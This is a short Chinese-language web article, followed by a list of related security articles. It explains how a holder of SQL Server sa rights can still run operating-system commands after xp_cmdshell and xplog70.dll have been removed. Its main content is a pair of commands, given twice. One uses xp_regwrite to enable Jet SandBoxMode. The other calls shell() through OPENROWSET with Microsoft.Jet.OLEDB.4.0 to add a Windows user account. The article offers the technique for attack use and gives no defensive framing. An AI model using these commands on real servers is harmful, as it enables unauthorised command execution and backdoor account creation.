SA 沙盤模式下不用恢復xp_cmdshell和xplog70.dll也執(zhí)行命令
更新時間：2011年01月04日 23:53:03 作者：
sa下刪除xp_cmdshell和xplog70.dll時候的一種辦法，不算新的了，
也被一些人不斷的再次提出來，為了方便自己記憶再寫出來，
在這種情況下，要執(zhí)行命令，條件是要有xp_regwrite。
首先開啟沙盤模式：
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
然后利用jet.oledb執(zhí)行系統(tǒng)命令
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c net user cnfjhh fst /add")')
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
然后利用jet.oledb執(zhí)行系統(tǒng)命令
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c net user cnfjhh fst /add")')
您可能感興趣的文章:
相關文章
這篇文章主要介紹了XSS & SQL注入的相關資料,需要的朋友可以參考下2007-06-06
Mac下使用mitmproxy抓包HTTPS數(shù)據(jù)方法詳解
在Mac上常用的抓包軟件是 Charles下面為大家介紹另一個抓包神器 mitmproxy，具體使用方法大家可以參考下面的介紹2020-02-02
這篇文章主要介紹了帶你理解什么是sql注入攻擊、xss攻擊和cors攻擊,網(wǎng)絡安全問題一直是互聯(lián)網(wǎng)開發(fā)的重災區(qū),今天我們來認識一下這幾種攻擊方式,需要的朋友可以參考下2023-04-04
幾款黑客工具的使用方法...2006-10-10
今天小編就為大家分享一篇關于分析攻擊IP來源地并畫出餅圖的文章，小編覺得內(nèi)容挺不錯的，現(xiàn)在分享給大家，具有很好的參考價值，需要的朋友一起跟隨小編來看看吧2018-09-09
一個黑客必備的基本技能...2006-10-10
這篇文章主要為大家介紹了ABAP OPEN SQL注入漏洞防御方法示例詳解,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進步,早日升職加薪2023-11-11
這篇文章主要為大家介紹了CTF AWD入門學習手冊，有需要的朋友可以借鑒參考下，希望能夠有所幫助，祝大家多多進步，早日升職加薪2022-10-10
這篇文章主要介紹了密碼知識教程二，具有很好的參考價值，希望對大家有所幫助。如有錯誤或未考慮完全的地方，望不吝賜教2006-10-10
查找與清除線程插入式木馬...2006-09-09